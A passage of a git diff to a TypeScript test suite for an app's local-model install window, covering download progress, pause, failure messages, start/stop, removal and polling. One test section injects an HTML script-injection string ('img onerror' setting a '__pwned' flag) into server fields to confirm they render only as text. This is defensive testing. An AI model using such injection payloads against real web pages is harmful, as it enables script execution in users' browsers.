'.lm-figure-aside')).toEqual(['58 MB per second, about 3 minutes left']); + expect(page.body.querySelector('.lm-bar')!.getAttribute('aria-valuenow')).toBe('50'); + expect(page.body.querySelector<HTMLElement>('.lm-bar-fill')!.style.width).toBe('50%'); + expect(page.body.querySelectorAll('.lm-meter')).toHaveLength(1); + expect(page.body.querySelector('.lm-buttons button')).toBe(cancel); + expect(page.body.querySelector('ol.lm-steps')).toBe(steps); + // A new step is a new picture. + serve(status({}, { ...JOB, state: 'installing', step: 'verify', actions: ['cancel'] })); + await app.loadLocalModel({ force: true }); + expect(page.body.querySelector('ol.lm-steps')).not.toBe(steps); + expect(texts(page.body, '.lm-step-now')).toEqual(['Loading and checking']); + }); +}); + +describe('a paused install', () => { + it('shows where it stopped and continues only on a click', async () => { + const page = mount(); + const { app } = await opened(page, PAUSED, () => ok(INSTALLING.install)); + const { body } = page; + expect(body.dataset.screen).toBe('paused'); + expect(texts(body, '.lm-title')).toEqual(['The install of Qwen3.6 35B-A3B is paused']); + expect(texts(body, '.lm-figure')).toEqual(['6.2 of 23.1 GB']); + // No speed and no time left on a download that is not running. + expect(texts(body, '.lm-figure-aside')).toEqual([]); + expect(texts(body, '.lm-step-stopped')).toEqual(['Downloading the model']); + expect(texts(body, '.lm-aside')).toEqual(['Nothing is downloaded until you continue.']); + expect(buttons(body)).toEqual(['Remove', 'Choose another model', 'Continue']); + expect(verbs(app)).toEqual([]); + press(body, 'Continue'); + await settle(); + expect(verbs(app)).toEqual([['POST', '/api/local-model/resume', {}]]); + expect(body.dataset.screen).toBe('progress'); + }); + + it('lets the person pick another model, and come back', async () => { + const page = mount(); + const { app } = await opened(page, PAUSED, () => ok(INSTALLING.install)); + press(page.body, 'Choose another model'); + expect(page.body.dataset.screen).toBe('choose'); + expect(buttons(page.body)).toEqual(['Back', 'Install on this Mac']); + press(page.body, 'Back'); + expect(page.body.dataset.screen).toBe('paused'); + press(page.body, 'Choose another model'); + page.body.querySelectorAll<HTMLElement>('[role="radio"]')[4].click(); + press(page.body, 'Install on this Mac'); + press(page.body, 'Download and install'); + await settle(); + // A new install replaces the paused job. + expect(verbs(app)[0].slice(0, 2)).toEqual(['POST', '/api/local-model/install']); + expect((verbs(app)[0][2] as { modelId: string }).modelId).toBe('qwen3.5:9b'); + }); +}); + +// ---------- Failures ---------- + +describe('a failure', () => { + it("says what happened in the server's sentence, and offers the one action that helps", async () => { + const page = mount(); + const { app } = await opened( + page, + failed('load-failed', { model: 'Qwen3.6 35B-A3B' }, { detail: 'runner exited with status 2' }), + () => ok(INSTALLING.install) + ); + const { body } = page; + expect(body.dataset.screen).toBe('failed'); + expect(texts(body, '.lm-title')).toEqual(['Qwen3.6 35B-A3B did not load on this Mac.']); + // The raw detail is folded away, and is text. + const details = body.querySelector('details.lm-details')!; + expect((details as HTMLDetailsElement).open).toBe(false); + expect(details.querySelector('summary')!.textContent).toBe('Details'); + expect(details.querySelector('pre')!.textContent).toBe('runner exited with status 2'); + expect(texts(body, '.lm-step-stopped')).toEqual(['Loading and checking']); + expect(buttons(body)).toEqual(['Remove', 'Try again']); + press(body, 'Try again'); + await settle(); + expect(verbs(app)).toEqual([['POST', '/api/local-model/resume', {}]]); + }); + + it('never shows a bare word in place of the sentence', async () => { + for (const code of Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[]) { + const page = mount(); + const vars = { model: 'M', port: '11435', actual: '4096', wanted: '131072', cli: 'OpenCode', id: 'local-ollama' }; + await opened(page, failed(code, vars)); + const title = texts(page.body, '.lm-title')[0]; + expect(title.length, code).toBeGreaterThan(20); + expect(title, code).not.toMatch(/[{}]/); + expect(title, code).not.toMatch(/sorry|apolog/i); + page.dom.window.close(); + } + }); + + it('answers a port that is taken with another port', async () => { + const page = mount(); + const { app } = await opened(page, failed('port-in-use', { port: '11435' }), () => ok(INSTALLING.install)); + expect(texts(page.body, '.lm-title')).toEqual(['Port 11435 is in use by another program.']); + expect(buttons(page.body)).toEqual(['Remove', 'Use another port']); + press(page.body, 'Use another port'); + await settle(); + expect(verbs(app)).toEqual([['POST', '/api/local-model/resume', { newPort: true }]]); + }); + + it('offers the next model by name, and opens the chooser on it', async () => { + const page = mount(); + const { app } = await opened( + page, + failed( + 'no-tool-call', + { model: 'Qwen3.6 35B-A3B' }, + { nextModel: { modelId: 'qwen3.8:27b', modelLabel: 'Qwen3.8 27B' } } + ) + ); + expect(texts(page.body, '.lm-title')).toEqual([ + 'Qwen3.6 35B-A3B loaded but did not call a tool, so a coding agent cannot work with it.', + ]); + expect(buttons(page.body)).toEqual(['Remove', 'Try Qwen3.8 27B']); + press(page.body, 'Try Qwen3.8 27B'); + expect(page.body.dataset.screen).toBe('choose'); + expect(page.body.querySelector('[aria-checked="true"] .lm-model-name')!.textContent).toBe('Qwen3.8 27B'); + // The person still confirms its sizes: nothing was sent. + expect(verbs(app)).toEqual([]); + }); + + it('offers the chooser when the server names no next model, and nothing when none is left', async () => { + const page = mount(); + const { app, serve } = await opened(page, failed('does-not-fit', { model: 'Qwen3.6 35B-A3B' })); + expect(buttons(page.body)).toEqual(['Remove', 'Choose another model']); + // A model the list no longer holds is not offered by name. + serve( + failed('does-not-fit', { model: 'Qwen3.6 35B-A3B' }, { nextModel: { modelId: 'gone:1b', modelLabel: 'Gone 1B' } }) + ); + await app.loadLocalModel({ force: true }); + expect(buttons(page.body)).toEqual(['Remove', 'Choose another model']); + const empty = failed('does-not-fit', { model: 'Qwen3.6 35B-A3B' }); + empty.recommendation = none('memory', { memory: '48' }).recommendation; + serve(empty); + await app.loadLocalModel({ force: true }); + expect(buttons(page.body)).toEqual(['Remove']); + }); + + it('shows a button only for an action the server accepts right now', async () => { + const page = mount(); + const answer = failed('load-failed', { model: 'Qwen3.6 35B-A3B' }); + answer.install.actions = []; + await opened(page, answer); + expect(texts(page.body, '.lm-title')).toEqual(['Qwen3.6 35B-A3B did not load on this Mac.']); + expect(buttons(page.body)).toEqual([]); + }); +}); + +// ---------- Installed ---------- + +describe('an installed model', () => { + it('says it is ready, with the measured facts in one line', async () => { + const page = mount(); + await opened(page, INSTALLED); + const { body } = page; + expect(body.dataset.screen).toBe('installed'); + expect(texts(body, '.lm-title')).toEqual(['Qwen3.6 35B-A3B is ready on this Mac.']); + expect(texts(body, '.lm-state-text')).toEqual(['Running']); + expect(body.querySelector('.lm-dot')!.classList.contains('lm-dot-on')).toBe(true); + expect(texts(body, '.lm-aside')).toEqual([ + 'Runs with OpenCode. Context 131,072 tokens. Takes 26.3 GB of memory when loaded, all on the GPU.', + ]); + expect(buttons(body)).toEqual(['Remove', 'Stop', 'Start a session']); + // One main action. + expect(body.querySelectorAll('.lm-buttons .wt-btn-primary')).toHaveLength(1); + expect(body.querySelector('.lm-buttons .wt-btn-primary')!.textContent).toBe('Start a session'); + }); + + it('says the one honest sentence about git and Python only on a Mac without developer tools', async () => { + const page = mount(); + const { app, serve } = await opened(page, INSTALLED); + expect(page.body.textContent).not.toContain('developer tools'); + serve(status({}, { ...INSTALLED.install, developerTools: 'missing' })); + await app.loadLocalModel({ force: true }); + expect(texts(page.body, '.lm-aside')).toContain( + 'Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer to install them the first time an agent needs one.' + ); + }); + + it('stops and starts the runtime, and Start is the main action of a stopped model', async () => { + const page = mount(); + const answers = [ok(STOPPED.install), ok(INSTALLED.install)]; + const { app } = await opened(page, INSTALLED, () => answers.shift() ?? null); + press(page.body, 'Stop'); + await settle(); + expect(texts(page.body, '.lm-title')).toEqual(['Qwen3.6 35B-A3B is installed on this Mac.']); + expect(texts(page.body, '.lm-state-text')).toEqual(['Stopped']); + expect(page.body.querySelector('.lm-dot')!.classList.contains('lm-dot-on')).toBe(false); + expect(buttons(page.body)).toEqual(['Remove', 'Start']); + expect(page.body.querySelector('.lm-buttons .wt-btn-primary')!.textContent).toBe('Start'); + press(page.body, 'Start'); + await settle(); + expect(verbs(app)).toEqual([ + ['POST', '/api/local-model/runtime', { action: 'stop' }], + ['POST', '/api/local-model/runtime', { action: 'start' }], + ]); + expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']); + }); + + it.each([ + [ + 'runtime-stopped' as const, + {}, + ['start', 'remove'] as const, + 'The runtime keeps stopping, so Codeman no longer restarts it.', + ['Remove', 'Start'], + { action: 'start' }, + ], + [ + 'port-in-use' as const, + { port: '11435' }, + ['start', 'remove'] as const, + 'Port 11435 is in use by another program.', + ['Remove', 'Use another port'], + { action: 'start', newPort: true }, + ], + ])('shows what blocks a session and its one action: %s', async (code, vars, actions, sentence, labels, body) => { + const page = mount(); + const answer = status( + {}, + { + ...STOPPED.install, + actions: [...actions], + error: { + code, + message: { text: LOCAL_MODEL_ERROR_LABELS[code], ...(Object.keys(vars).length ? { vars } : {}) }, + next: LOCAL_MODEL_ERROR_NEXT[code], + }, + } + ); + const { app } = await opened(page, answer, () => ok(INSTALLED.install)); + expect(texts(page.body, '.lm-error .lm-title')).toEqual([sentence]); + expect(buttons(page.body)).toEqual(labels); + expect(page.body.querySelectorAll('.lm-buttons .wt-btn-primary')).toHaveLength(1); + press(page.body, labels[1]); + await settle(); + expect(verbs(app)).toEqual([['POST', '/api/local-model/runtime', body]]); + }); + + it('offers only the removal when the model changed since it was installed', async () => { + const page = mount(); + const answer = status( + {}, + { + ...INSTALLED.install, + actions: ['stop', 'remove'], + error: { + code: 'model-changed', + message: { text: LOCAL_MODEL_ERROR_LABELS['model-changed'] }, + next: LOCAL_MODEL_ERROR_NEXT['model-changed'], + }, + } + ); + await opened(page, answer); + expect(texts(page.body, '.lm-error .lm-title')).toEqual([ + 'The model on this Mac changed since it was installed. Remove it and install it again.', + ]); + // No session can start, so that button is not there. + expect(buttons(page.body)).toEqual(['Stop', 'Remove']); + press(page.body, 'Remove'); + expect(texts(page.body, '.lm-remove .lm-lead')).toEqual(['Remove the local model from this Mac?']); + }); + + it('starts a session on the saved connection with the agent of the install, after refreshing the page', async () => { + const page = mount(); + const { app } = await opened(page, INSTALLED); + const order: string[] = []; + app.loadAppSettingsFromServer = vi.fn(async () => void order.push('settings')); + app.loadCliListForSettings = vi.fn(async () => void order.push('clis')); + app.selectCustomModelEntry = vi.fn(async () => void order.push('launch')); + app.closeAppSettings = vi.fn(); + press(page.body, 'Start a session'); + await settle(); + // The settings flag and the agent's availability are read again before the launcher runs. + expect(order).toEqual(['settings', 'clis', 'launch']); + // Both values are the payload's. + expect(app.selectCustomModelEntry).toHaveBeenCalledWith('opencode', 'local-ollama'); + expect(app.isLocalModelWindowOpen()).toBe(false); + expect(page.modal.classList.contains('active')).toBe(false); + // App Settings was not open: it is left alone. + expect(app.closeAppSettings).not.toHaveBeenCalled(); + }); + + it('closes App Settings too when the window was opened from there', async () => { + const page = mount(); + const { app } = await opened(page, INSTALLED); + page.document.getElementById('appSettingsModal')!.classList.add('active'); + app.selectCustomModelEntry = vi.fn(async () => undefined); + app.closeAppSettings = vi.fn(); + press(page.body, 'Start a session'); + await settle(); + expect(app.closeAppSettings).toHaveBeenCalledTimes(1); + expect(app.selectCustomModelEntry).toHaveBeenCalledWith('opencode', 'local-ollama'); + }); +}); + +describe('Remove', () => { + it('asks first, and deletes the downloaded model too unless the person keeps it', async () => { + const page = mount(); + const { app } = await opened(page, INSTALLED, () => ok(install())); + press(page.body, 'Remove'); + // The question, in place of the buttons. Nothing was sent. + expect(verbs(app)).toEqual([]); + const question = page.body.querySelector('.lm-remove')!; + expect(texts(question, '.lm-lead')).toEqual(['Remove the local model from this Mac?']); + expect(texts(question, '.lm-check span')).toEqual(['Also delete the downloaded model']); + expect(texts(question, '.lm-aside')).toEqual(['The coding agent stays installed.']); + expect(question.querySelector<HTMLInputElement>('input[type="checkbox"]')!.checked).toBe(true); + expect(buttons(page.body)).toEqual(['Cancel', 'Remove']); + press(page.body, 'Remove'); + await settle(); + expect(verbs(app)).toEqual([['DELETE', '/api/local-model', { removeModel: true }]]); + }); + + it('keeps the model when the box is cleared, and Cancel sends nothing', async () => { + const page = mount(); + const { app } = await opened(page, INSTALLED, () => ok(install())); + press(page.body, 'Remove'); + press(page.body, 'Cancel'); + expect(page.body.querySelector('.lm-remove')).toBeNull(); + expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']); + press(page.body, 'Remove'); + const box = page.body.querySelector<HTMLInputElement>('.lm-remove input[type="checkbox"]')!; + box.checked = false; + box.dispatchEvent(new page.dom.window.Event('change')); + press(page.body, 'Remove'); + await settle(); + expect(verbs(app)).toEqual([['DELETE', '/api/local-model', { removeModel: false }]]); + }); + + it('goes back to the chooser once the model is gone', async () => { + const page = mount(); + const { serve } = await opened(page, INSTALLED, () => ok(install())); + serve(IDLE); + press(page.body, 'Remove'); + press(page.body, 'Remove'); + await settle(); + await settle(); + expect(page.body.dataset.screen).toBe('choose'); + expect(page.button.textContent!.trim()).toBe('Run a local model'); + }); + + it("names the sessions that still use the model, in the server's sentence", async () => { + const page = mount(); + await opened(page, INSTALLED, () => + conflict({ + reason: 'sessions-open', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: 'w1-app, w2-site' } }, + sessions: ['w1-app', 'w2-site'], + }) + ); + press(page.body, 'Remove'); + press(page.body, 'Remove'); + await settle(); + expect(page.body.dataset.screen).toBe('installed'); + expect(texts(page.body, '.lm-notice-text')).toEqual([ + 'Sessions are still using this model: w1-app, w2-site. Close them first.', + ]); + // Still the question: the person can close the sessions and press Remove again. + expect(buttons(page.body)).toEqual(['Cancel', 'Remove']); + }); + + it('removes a paused or stopped install the same way', async () => { + for (const answer of [PAUSED, failed('load-failed', { model: 'Qwen3.6 35B-A3B' })]) { + const page = mount(); + const { app } = await opened(page, answer, () => ok(install())); + press(page.body, 'Remove'); + expect(texts(page.body, '.lm-remove .lm-lead')).toEqual(['Remove the local model from this Mac?']); + press(page.body, 'Remove'); + await settle(); + expect(verbs(app)).toEqual([['DELETE', '/api/local-model', { removeModel: true }]]); + page.dom.window.close(); + } + }); +}); + +// ---------- No recommendation ---------- + +describe('no recommendation', () => { + it.each([ + [ + 'intel', + none('intel', undefined, { arch: 'x64', arm64: false, chip: 'Intel(R) Core(TM) i7-9750H', memClassGb: 16 }), + 'Intel(R) Core(TM) i7-9750H, 16 GB memory, 897 GB free', + 'This Mac has an Intel processor. Local coding models need Apple silicon.', + ], + [ + 'memory', + none('memory', { memory: '8' }, { memGb: '8.6', memClassGb: 8, chip: 'Apple M2', freeDiskGb: '41.3' }), + 'Apple M2, 8 GB memory, 41.3 GB free', + 'This Mac has 8 GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', + ], + [ + 'disk', + none('disk', { download: '6.6', reserve: '10.7', free: '12.0', missing: '5.3' }, { freeDiskGb: '12.0' }), + 'Apple M5 Pro, 48 GB memory, 12.0 GB free', + 'Not enough free disk space. The smallest model that fits this Mac is a 6.6 GB download, and 10.7 GB must stay free after it. 12.0 GB is free now. Free up about 5.3 GB.', + ], + ] as Array<[string, LocalModelStatus, string, string]>)( + 'opens with the hardware line, the reason and no button except Close: %s', + async (_reason, answer, hardware, sentence) => { + const page = mount(); + const { app } = await opened(page, answer); + expect(page.body.dataset.screen).toBe('none'); + expect(texts(page.body, '.lm-hw')).toEqual([hardware]); + expect(texts(page.body, '.lm-reason')).toEqual([sentence]); + expect(page.body.querySelector('[role="radiogroup"]')).toBeNull(); + expect(page.body.querySelector('.lm-bar')).toBeNull(); + expect(buttons(page.body)).toEqual(['Close']); + press(page.body, 'Close'); + expect(app.isLocalModelWindowOpen()).toBe(false); + } + ); + + it('leaves an unknown memory size out of the hardware line', async () => { + const page = mount(); + const answer = none('memory', undefined, { memBytes: 0, memGb: '0.0', memClassGb: 0 }); + answer.recommendation.headline = { text: LOCAL_MODEL_LABELS.noneMemoryUnknown }; + await opened(page, answer); + expect(texts(page.body, '.lm-hw')).toEqual(['Apple M5 Pro']); + expect(page.body.textContent).not.toMatch(/\b0(\.0)? GB/); + }); +}); + +// ---------- The poll ---------- + +describe('the poll', () => { + it('asks once a second while the window is open, and stops when it closes', async () => { + const page = mount(); + const app = page.newApp(() => ok(INSTALLING)); + await app.loadLocalModel(); + expect(gets(app)).toBe(1); + // Closed: no timer at all, however long the welcome screen stays up. + expect(page.timers).toHaveLength(0); + + app.openLocalModelWindow(); + await settle(); + // Opening asks at once (the minute-old answer is not good enough for a download). + expect(gets(app)).toBe(2); + expect(page.timers.map((timer) => timer.ms)).toEqual([1000]); + for (let second = 1; second <= 3; second++) { + await page.tick(); + expect(gets(app)).toBe(2 + second); + expect(page.timers.map((timer) => timer.ms)).toEqual([1000]); + } + + app.closeLocalModelWindow(); + expect(page.timers).toHaveLength(0); + await page.tick(); + await page.tick(); + expect(gets(app)).toBe(5); + + // Reopened: it asks again. + app.openLocalModelWindow(); + await settle(); + await page.tick(); + expect(gets(app)).toBe(7); + app.closeLocalModelWindow(); + }); + + it('does not re-arm a tick that was already running when the window closed', async () => { + const page = mount(); + let answer: ((response: ApiResponse) => void) | null = null; + const app = page.newApp(() => ok(IDLE)); + await app.loadLocalModel(); + app.openLocalModelWindow(); + await settle(); + app._api.mockImplementation(() => new Promise<ApiResponse>((done) => (answer = done))); + const due = page.timers.splice(0); + for (const timer of due) timer.fn(); + app.closeLocalModelWindow(); + answer!(ok(IDLE)); + await settle(); + expect(page.timers).toHaveLength(0); + }); + + it('keeps its place and asks nothing while the tab is in the background', async () => { + const page = mount({ visible: false }); + expect(page.document.hidden).toBe(true); + const app = page.newApp(() => ok(INSTALLING)); + await app.loadLocalModel(); + app.openLocalModelWindow(); + await settle(); + const before = gets(app); + await page.tick(); + await page.tick(); + expect(gets(app)).toBe(before); + expect(page.timers).toHaveLength(1); + app.closeLocalModelWindow(); + }); + + it('follows the install from the download to the end without a click', async () => { + const page = mount(); + const { serve } = await opened(page, INSTALLING); + expect(page.body.dataset.screen).toBe('progress'); + serve(INSTALLED); + await page.tick(); + expect(page.body.dataset.screen).toBe('installed'); + expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']); + // The focus goes to the main action of the new screen, inside the dialog. + expect(page.document.activeElement?.textContent).toBe('Start a session'); + }); +}); + +// ---------- Text only ---------- + +describe('what the server sends is shown as text', () => { + const HOSTILE = '<img src=x onerror="window.__pwned=1">'; + const clean = (page: Mounted) => { + expect(page.document.querySelectorAll('img, script, iframe')).toHaveLength(0); + expect((page.win as unknown as { __pwned?: number }).__pwned).toBeUndefined(); + }; + + it('in the chooser and on the confirm screen', async () => { + const page = mount(); + const hostile = candidate({ + modelId: 'evil:1b', + modelLabel: `Model ${HOSTILE}`, + harnesses: [{ cli: 'x', cliLabel: `Agent ${HOSTILE}`, installed: false, installCommand: `run ${HOSTILE}` }], + }); + await opened( + page, + status( + { + pick: hostile, + alternatives: [], + notes: [{ text: LOCAL_MODEL_LABELS.noteDiskDropped, vars: { model: HOSTILE, missing: '1' } }], + }, + { folder: `/tmp/${HOSTILE}` }, + { chip: `Chip ${HOSTILE}` } + ) + ); + clean(page); + expect(texts(page.body, '.lm-hw')[0]).toContain(HOSTILE); + expect(texts(page.body, '.lm-model-name')).toEqual([`Model ${HOSTILE}`]); + expect(page.body.querySelector('option')!.textContent).toBe(`Agent ${HOSTILE}`); + expect(texts(page.body, '.lm-notes .lm-aside')[0]).toContain(HOSTILE); + press(page.body, 'Install on this Mac'); + clean(page); + expect(texts(page.body, '.lm-command')).toEqual([`run ${HOSTILE}`, `/tmp/${HOSTILE}`]); + expect(page.body.textContent).toContain(`Agent ${HOSTILE} is not on this Mac yet.`); + // The row and the button on the welcome screen too. + expect(page.row.textContent).toContain(HOSTILE); + clean(page); + }); + + it('in a job, an error and its detail, a refusal and the installed screen', async () => { + const page = mount(); + const job = { ...JOB, model: { id: 'evil:1b', label: `Model ${HOSTILE}` }, cliLabel: `Agent ${HOSTILE}` }; + const { app, serve } = await opened( + page, + status({}, { ...job, state: 'installing', step: 'agent', actions: ['cancel'] }), + () => + conflict({ + reason: 'sessions-open', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: HOSTILE } }, + sessions: [HOSTILE], + }) + ); + expect(texts(page.body, '.lm-title')).toEqual([`Installing Model ${HOSTILE}`]); + expect(texts(page.body, '.lm-step-now')).toEqual([`Installing Agent ${HOSTILE}`]); + clean(page); + + serve( + status( + {}, + { + ...job, + state: 'failed', + step: 'agent', + actions: ['resume', 'remove'], + error: { + code: 'harness-failed', + message: { text: LOCAL_MODEL_ERROR_LABELS['harness-failed'], vars: { cli: HOSTILE } }, + next: 'retry', + detail: `installer said ${HOSTILE}`, + }, + } + ) + ); + await app.loadLocalModel({ force: true }); + expect(texts(page.body, '.lm-title')).toEqual([`${HOSTILE} could not be installed.`]); + expect(page.body.querySelector('.lm-detail-text')!.textContent).toBe(`installer said ${HOSTILE}`); + clean(page); + + serve(status({}, { ...INSTALLED.install, ...job })); + await app.loadLocalModel({ force: true }); + expect(texts(page.body, '.lm-title')).toEqual([`Model ${HOSTILE} is ready on this Mac.`]); + press(page.body, 'Remove'); + press(page.body, 'Remove'); + await settle(); + expect(texts(page.body, '.lm-notice-text')[0]).toContain(HOSTILE); + expect(page.row.textContent).toContain(HOSTILE); + clean(page); + }); + + it('because the module writes nothing as markup', () => { const code = MODULE.split('\n') .filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line)) .join('\n'); - expect(code).not.toMatch(/Recommended/); - }); - - it('shows the tested headline only because the server sent it', async () => { - const { newApp, card } = mount(); - const tested = status({ headline: { text: LOCAL_MODEL_LABELS.headlineTested }, pick: candidate({ tested: true }) }); - await newApp(ok(tested)).loadLocalModel(); - expect(texts(card, '.local-model-headline')).toEqual(['Recommended for this Mac']); - }); - - it('lists the other models that fit with Good, Tight, Slow or Speed unknown', async () => { - const { newApp, card } = mount(); - await newApp(ok(OK_STATUS)).loadLocalModel(); - const alts = card.querySelector('.local-model-alts')!; - // No count beside the title: the server lists four at most, so a number here would be - // the number of rows, not of models that fit. - expect(texts(alts, '.local-model-alts-title')).toEqual(['Other models that fit']); - expect(alts.querySelector('.local-model-count')).toBeNull(); - const rows = [...alts.querySelectorAll('.local-model-alt')]; - expect(rows.map((row) => texts(row, '.local-model-name')[0])).toEqual([ - 'Qwen3.6 35B-A3B (qwen3.6:35b-a3b) with OpenCode', - 'Qwen3.8 27B Q8 (qwen3.8:27b-q8_0) with OpenCode', - ]); - // A candidate whose speed is fine carries a fit label only. - expect(rows.map((row) => texts(row, '.local-model-pill'))).toEqual([['Good'], ['Tight', 'Slow']]); - // An alternative with an estimate prints it: "Slow" alone does not say how slow. - expect(rows.map((row) => texts(row, '.local-model-line')[0])).toEqual([ - 'Context 131,072 tokens · 26.4 GB of memory · 22.6 GB download · about 42 tokens per second', - 'Context 65,536 tokens · 36.4 GB of memory · 30.0 GB download · about 5.2 tokens per second', - ]); - }); - - it('says what each label measures, as its tooltip and its accessible name', async () => { - const { newApp, card, row } = mount(); - await newApp(ok(OK_STATUS)).loadLocalModel(); - for (const root of [card, row]) { - const pills = [...root.querySelectorAll('.local-model-pill')] as HTMLElement[]; - expect(pills.map((pill) => [pill.textContent, pill.title])).toEqual([ - // The pick: 0.79 of the budget, a chip in no chips row. - ['Good', 'Memory fit: needs 79% of what this Mac can give a model'], - ['Speed unknown', 'No speed estimate for this model on this chip'], - ['Good', 'Memory fit: needs 70% of what this Mac can give a model'], - ['Tight', 'Memory fit: needs 97% of what this Mac can give a model'], - ['Slow', 'About 5.2 tokens per second (estimated).'], - ]); - for (const pill of pills) { - expect(pill.getAttribute('role')).toBe('note'); - expect(pill.getAttribute('aria-label')).toBe(`${pill.textContent}. ${pill.title}`); - } - } - }); - - it('leaves a fit label without a share bare instead of inventing a number', async () => { - const { newApp, card } = mount(); - const bare = candidate({ budgetShare: undefined as unknown as number, speedLabel: undefined, speed: 'ok' }); - await newApp(ok(status({ pick: bare }))).loadLocalModel(); - const pill = card.querySelector('.local-model-pill') as HTMLElement; - expect(pill.textContent).toBe('Good'); - expect(pill.title).toBe(''); - expect(pill.hasAttribute('aria-label')).toBe(false); - }); - - it('puts the line about the missing setup right under the pick and its notes, above the list', async () => { - const { newApp, card, row } = mount(); - const withNotes = status({ - notes: [ - { text: LOCAL_MODEL_LABELS.noteSmallPick }, - { text: LOCAL_MODEL_LABELS.noteDiskDropped, vars: { model: 'Qwen3.6 35B-A3B', missing: '0.4' } }, - { text: LOCAL_MODEL_LABELS.noteUntested }, - ], - pick: candidate(), - alternatives: [ALT_FAST, ALT_SLOW], - }); - await newApp(ok(withNotes)).loadLocalModel(); - for (const root of [card, row]) { - const body = root.querySelector('.local-model-body')!; - expect([...body.children].map((el) => el.className)).toEqual([ - 'local-model-hw', - 'local-model-headline', - 'local-model-pick', - 'local-model-note', - 'local-model-note', - 'local-model-note', - 'local-model-next', - 'local-model-alts', - ]); - // A note with slots is filled like a headline. - expect(texts(root, '.local-model-note')).toEqual([ - 'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.', - 'Qwen3.6 35B-A3B fits the memory of this Mac too, but its download needs about 0.4 GB more free disk space.', - 'Not yet tested by us on a Mac like this.', - ]); - expect(texts(root, '.local-model-next')).toEqual([NEXT_STEP]); - } - }); - - it('prints every size exactly as sent, in one unit', async () => { - const { newApp, card, row } = mount(); - await newApp(ok(OK_STATUS)).loadLocalModel(); - for (const root of [card, row]) { - const text = root.textContent ?? ''; - expect(text).not.toMatch(/GiB|MiB|\bMB\b|bytes/); - // Every number in front of the unit is one the payload carries: as text for the computed - // sizes, and `memClassGb` (48) for the installed memory. - const printed = [...text.matchAll(/([\d.,]+) GB/g)].map((m) => m[1]); - const sent = ['48', '912', '37.6', '29.6', '17.7', '26.4', '22.6', '36.4', '30.0']; - expect(printed.length).toBeGreaterThanOrEqual(sent.length); - expect(printed.filter((value) => !sent.includes(value))).toEqual([]); - // The decimal figure of the installed memory (`memGb`) is on neither surface. - expect(text).not.toContain('51.5'); - } - }); - - it('calls a budget that is the wired limit of this Mac a fact, not an estimate', async () => { - const { newApp, card } = mount(); - const wired = status({ pick: candidate(), budgetSource: 'wired-limit', budgetGb: '40.0' }); - await newApp(ok(wired)).loadLocalModel(); - expect(texts(card, '.local-model-pick .local-model-line')[1]).toBe( - 'Needs about 29.6 GB of the 40.0 GB this Mac can give a model.' - ); - }); - - it('adds the speed, a missing harness and a slow first answer only when the payload says so', async () => { - const { newApp, card } = mount(); - const pick = candidate({ - speed: 'ok', - speedLabel: undefined, - tokensPerSecond: 12.3, - cliInstalled: false, - slowFirstTurn: true, - cliLabel: 'Some Harness', - }); - await newApp(ok(status({ pick }))).loadLocalModel(); - expect(texts(card, '.local-model-pick .local-model-pill')).toEqual(['Good']); - expect(texts(card, '.local-model-pick .local-model-line').slice(2)).toEqual([ - 'About 12 tokens per second (estimated).', - 'Some Harness is not installed on this Mac yet.', - 'With Some Harness, the first answer can take minutes.', - ]); - }); - - it('describes the hardware with whatever parts the probe got', async () => { - const { newApp, card } = mount(); - const cases: Array<[Partial<HardwareFacts>, string]> = [ - [{ freeDiskBytes: undefined, freeDiskGb: undefined }, 'Apple M5 Pro, 48 GB memory'], - [{ chip: undefined }, 'Mac17,13, 48 GB memory, 912 GB free'], - [{ chip: undefined, model: undefined }, '48 GB memory, 912 GB free'], - [{ chip: undefined, model: undefined, freeDiskBytes: undefined, freeDiskGb: undefined }, '48 GB memory'], - // The sizes Macs are sold in, as sold. - [{ memGb: '17.2', memClassGb: 16 }, 'Apple M5 Pro, 16 GB memory, 912 GB free'], - [{ memGb: '34.4', memClassGb: 32 }, 'Apple M5 Pro, 32 GB memory, 912 GB free'], - [{ memGb: '137', memClassGb: 128 }, 'Apple M5 Pro, 128 GB memory, 912 GB free'], - // An unknown size is left out, whatever else the payload carries for it. - [{ memGb: '0.0', memClassGb: 0 }, 'Apple M5 Pro'], - [{ memClassGb: undefined as unknown as number }, 'Apple M5 Pro'], - [{ memClassGb: '48' as unknown as number }, 'Apple M5 Pro'], - ]; - for (const [hardware, line] of cases) { - await newApp(ok(status({ pick: candidate() }, hardware))).loadLocalModel(); - expect(texts(card, '.local-model-hw')).toEqual([line]); - } + expect(code).not.toMatch(/innerHTML|outerHTML|insertAdjacentHTML|document\.write/); }); }); -describe('verdict limited', () => { - it('says what a small model is good for, shows the pick, and never recommends', async () => { - const { newApp, card, row } = mount(); - await newApp(ok(LIMITED_STATUS)).loadLocalModel(); - expect(card.hidden).toBe(false); - for (const root of [card, row]) { - expect(texts(root, '.local-model-headline')).toEqual([ - 'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.', - ]); - expect(texts(root, '.local-model-hw')).toEqual(['Apple M4, 18 GB memory, 912 GB free']); - expect(texts(root, '.local-model-name')).toEqual(['Qwen3.5 9B (qwen3.5:9b) with OpenCode']); - expect(texts(root, '.local-model-pill')).toEqual(['Tight']); - expect(texts(root, '.local-model-pick .local-model-line')).toEqual([ - 'Context 65,536 tokens · 6.6 GB download · Apache-2.0', - 'Needs about 10.9 GB of the 12.5 GB this Mac can give a model (estimated).', - 'About 11 tokens per second (estimated).', - ]); - expect(texts(root, '.local-model-note')).toEqual(['Not yet tested by us on a Mac like this.']); - expect(texts(root, '.local-model-next')).toEqual([NEXT_STEP]); - expect(root.textContent).not.toMatch(/recommend/i); - expect(root.textContent).not.toContain('Best fit'); - } - }); -}); +// ---------- Languages, rules ---------- -describe('the Settings row', () => { - it('shows the same answer as the card, with the alternatives open', async () => { - const { newApp, card, row } = mount(); - await newApp(ok(OK_STATUS)).loadLocalModel(); - for (const part of ['.local-model-hw', '.local-model-headline', '.local-model-pick', '.local-model-note']) { - 